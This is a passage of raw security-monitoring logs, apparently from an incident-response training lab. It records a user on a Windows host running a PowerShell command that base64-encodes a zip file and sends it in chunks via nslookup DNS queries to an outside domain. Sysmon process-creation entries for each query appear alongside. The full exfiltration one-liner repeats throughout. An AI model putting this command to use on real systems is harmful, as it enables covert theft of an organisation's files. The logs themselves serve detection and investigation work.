'(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AFBLAQIUABQAAAAIANigLlfVU3cDIg.haz4rdw4re.io" **powershell.command.invocation_details.value**: "Invoke-Expression", "nslookup AFBLAQIUABQAAAAIANigLlfVU3cDIg.haz4rdw4re.io" **powershell.command.name**: - **powershell.file.script_block_text**: - **process.command_line**: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass **timestamp**: 12/14/2025 04:59:25.369 **winlog.process.pid**: - } Show as raw text host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=457 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup J5Lnhsc3hQSwECFAAUAAAACAC9oC5X.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup J5Lnhsc3hQSwECFAAUAAAACAC9oC5X.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=467 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Where-Object): "Where-Object"ParameterBinding(Where-Object): name="FilterScript"; value=" $_ -ne '' "CommandInvocation(ForEach-Object): "ForEach-Object"ParameterBinding(ForEach-Object): name="Process"; value="Invoke-Expression "nslookup $_.haz4rdw4re.io""ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="UEsDBBQAAAAIANigLlfVU3cDIgAAAI"ParameterBinding(ForEach-Object): name="InputObject"; value="UEsDBBQAAAAIANigLlfVU3cDIgAAAI"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv"ParameterBinding(ForEach-Object): name="InputObject"; value="8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="U3VtbWFyeS54bHN4c87JTM0rCcgvKk"ParameterBinding(ForEach-Object): name="InputObject"; value="U3VtbWFyeS54bHN4c87JTM0rCcgvKk"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="nLz8nMDy7NzU0sqtSryCmu4OVyprsk"ParameterBinding(ForEach-Object): name="InputObject"; value="nLz8nMDy7NzU0sqtSryCmu4OVyprsk"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Where-Object): name="InputObject"; value="AFBLAwQUAAAACAC9oC5XHhlO5R8AAA"ParameterBinding(ForEach-Object): name="InputObject"; value="AFBLAwQUAAAACAC9oC5XHhlO5R8AAA"ParameterBinding(Where-Object): name="InputObject"; value=""ParameterBinding(Wh

Time Event

ere-Object): name="InputObject"; value="AdAAAAHQAAA
EludmVzdG9yUHJlc2Vu"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="AdAAAAHQAAAEludmVzdG
9yUHJlc2Vu"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="dGF0aW9uMjAyMy5wcHR488wr
Sy0uyS"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="dGF0aW9uMjAyMy5wcHR488wrSy0uyS"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="8KKEotTs0rSSzJzM8zMjAy1isoKKkA"Parame
terBinding(ForEach-Object): name="InputObject"; val
ue="8KKEotTs0rSSzJzM8zMjAy1isoKKkA"ParameterBinding
(Where-Object): name="InputObject"; value=""Paramet
erBinding(Where-Object): name="InputObject"; value
="AFBLAQIUABQAAAAIANigLlfVU3cDIg"ParameterBinding(F
orEach-Object): name="InputObject"; value="AFBLAQIU
ABQAAAAIANigLlfVU3cDIg"ParameterBinding(Where-Objec
t): name="InputObject"; value=""ParameterBinding(Wh
ere-Object): name="InputObject"; value="AAAI8AAAAbA
AAAAAAAAAAAAAAAAAAA"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="AAAI8AAAAbAAAAAAAAAA
AAAAAAAAAA"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="AABDbGllbnRQb3J0Zm9saW9T
dW1tYX"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="AABDbGllbnRQb3J0Zm9saW9TdW1tYX"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="J5Lnhsc3hQSwECFAAUAAAACAC9oC5X"Parame
terBinding(ForEach-Object): name="InputObject"; val
ue="J5Lnhsc3hQSwECFAAUAAAACAC9oC5X"ParameterBinding
(Where-Object): name="InputObject"; value=""Paramet
erBinding(Where-Object): name="InputObject"; value
="HhlO5R8AAAAdAAAAHQAAAAAAAAAAA"ParameterBinding(F
orEach-Object): name="InputObject"; value="HhlO5R8A
AAAdAAAAHQAAAAAAAAAAA"ParameterBinding(Where-Objec
t): name="InputObject"; value=""ParameterBinding(Wh
ere-Object): name="InputObject"; value="AAAABbAAAAS
W52ZXN0b3JQcmVzZW50"ParameterBinding(ForEach-Objec
t): name="InputObject"; value="AAAABbAAAASW52ZXN0b3
JQcmVzZW50"ParameterBinding(Where-Object): name="In
putObject"; value=""ParameterBinding(Where-Object):
name="InputObject"; value="YXRpb24yMDIzLnBwdHhQSwUG
AAAAAA"ParameterBinding(ForEach-Object): name="Inpu
tObject"; value="YXRpb24yMDIzLnBwdHhQSwUGAAAAAA"Par
ameterBinding(Where-Object): name="InputObject"; va
lue=""ParameterBinding(Where-Object): name="InputOb
ject"; value="IAAgCUAAAAtQAAAAAA"ParameterBinding(F
orEach-Object): name="InputObject"; value="IAAgCUAA
AAtQAAAAAA"ParameterBinding(Where-Object): name="In
putObject"; value=""

powershell.command.invocation_details.value: "Wh
ere-Object", " $_ -ne '' ", "ForEach-Object", "Invo
ke-Expression "nslookup $_.haz4rdw4re.io"", "", "UE
sDBBQAAAAIANigLlfVU3cDIgAAAI", "UEsDBBQAAAAIANigLlf
VU3cDIgAAAI", "", "8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv",

Time Event

"8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv", "", "U3VtbWFyeS54bHN4c87JTM0rCcgvKk", "U3VtbWFyeS54bHN4c87JTM0rCcgvKk", "", "nLz8nMDy7NzU0sqtSryCmu4OVyprsk", "nLz8nMDy7NzU0sqtSryCmu4OVyprsk", "", "AFBLAwQUAAAACAC9oC5XHhlO5R8AAA", "AFBLAwQUAAAACAC9oC5XHhlO5R8AAA", "", "AdAAAAHQAAAEludmVzdG9yUHJlc2Vu", "AdAAAAHQAAAEludmVzdG9yUHJlc2Vu", "", "dGF0aW9uMjAyMy5wcHR488wrSy0uyS", "dGF0aW9uMjAyMy5wcHR488wrSy0uyS", "", "8KKEotTs0rSSzJzM8zMjAy1isoKKkA", "8KKEotTs0rSSzJzM8zMjAy1isoKKkA", "", "AFBLAQIUABQAAAAIANigLlfVU3cDIg", "AFBLAQIUABQAAAAIANigLlfVU3cDIg", "", "AAAI8AAAAbAAAAAAAAAAAAAAAAAAAA", "AAAI8AAAAbAAAAAAAAAAAAAAAAAAAA", "", "AABDbGllbnRQb3J0Zm9saW9TdW1tYX", "AABDbGllbnRQb3J0Zm9saW9TdW1tYX", "", "J5Lnhsc3hQSwECFAAUAAAACAC9oC5X", "J5Lnhsc3hQSwECFAAUAAAACAC9oC5X", "", "HhlO5R8AAAAdAAAAHQAAAAAAAAAAAA", "HhlO5R8AAAAdAAAAHQAAAAAAAAAAAA", "", "AAAABbAAAASW52ZXN0b3JQcmVzZW50", "AAAABbAAAASW52ZXN0b3JQcmVzZW50", "", "YXRpb24yMDIzLnBwdHhQSwUGAAAAAA", "YXRpb24yMDIzLnBwdHhQSwUGAAAAAA", "", "IAAgCUAAAAtQAAAAAA", "IAAgCUAAAAtQAAAAAA", ""

powershell.command.name: -
powershell.file.script_block_text: -
process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass
timestamp: 12/14/2025 04:59:25.369
winlog.process.pid: -
}

Show as raw text

host = 10.10.106.238:8989 | source = eventcollector | sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=463 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup YXRpb24yMDIzLnBwdHhQSwUGAAAAAA.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup YXRpb24yMDIzLnBwdHhQSwUGAAAAAA.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=459 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup HhlO5R8AAAAdAAAAHQAAAAAAAAAA.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup HhlO5R8AAAAdAAAAHQAAAAAAAAAAA.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:25.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=455 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AABDbGllbnRQb3J0Zm9saW9TdW1tYX.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup AABDbGllbnRQb3J0Zm9saW9TdW1tYX.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:25.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=443 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:24.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=435 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:24.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3454 process.command_line: atbroker.exe process.name: AtBroker.exe process.parent.name: winlogon.exe process.parent.pid: 3677 process.pid: 3861 process.working_directory: C:\Windows\system32\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" dGF0aW9uMjAyMy5wcHR488wrSy0uyS.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5696 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" nLz8nMDy7NzU0sqtSryCmu4OVyprsk.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3800 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=439 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:24.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: powershell event.action: Pipeline Execution Details file.path: - host.name: win-3450 message: Pipeline execution details for command line: $base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"}. Context Information: DetailSequence=1 DetailTotal=1 SequenceNumber=437 UserId=SSF\michael.ascot HostName=ConsoleHost HostVersion=5.1.20348.1366 HostId=cc1a6844-a4f9-4e73-98b9-9193fdb89041 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass EngineVersion=5.1.20348.1366 RunspaceId=3c649a28-fde1-4e53-936b-e9e725bd8280 PipelineId=53 ScriptName= CommandLine=$base64 = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\michael.ascot\Downloads\exfiltration\exfilt8me.zip")); $base64 -split '(.{1,30})' | Where-Object { $_ -ne '' } | ForEach-Object {Invoke-Expression "nslookup $_.haz4rdw4re.io"} Details: CommandInvocation(Invoke-Expression): "Invoke-Expression"ParameterBinding(Invoke-Expression): name="Command"; value="nslookup 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io" powershell.command.invocation_details.value: "Invoke-Expression", "nslookup 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io" powershell.command.name: - powershell.file.script_block_text: - process.command_line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass timestamp: 12/14/2025 04:59:24.369 winlog.process.pid: - } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" U3VtbWFyeS54bHN4c87JTM0rCcgvKk.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 5432 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" AFBLAwQUAAAACAC9oC5XHhlO5R8AAA.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 6604 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json

Time	Event
12/14/25 4:59:24.369 AM	{ [-] datasource: sysmon event.action: Process Create (rule: ProcessCreate) event.code: 1 host.name: win-3450 process.command_line: "C:\Windows\system32\nslookup.exe" 8AAAAbAAAAQ2xpZW50UG9ydGZvbGlv.haz4rdw4re.io process.name: nslookup.exe process.parent.name: powershell.exe process.parent.pid: 3728 process.pid: 3952 process.working_directory: C:\Users\michael.ascot\downloads\exfiltration\ timestamp: 12/14/2025 04:59:24.369 } Show as raw text host = 10.10.106.238:8989 source = eventcollector sourcetype = _json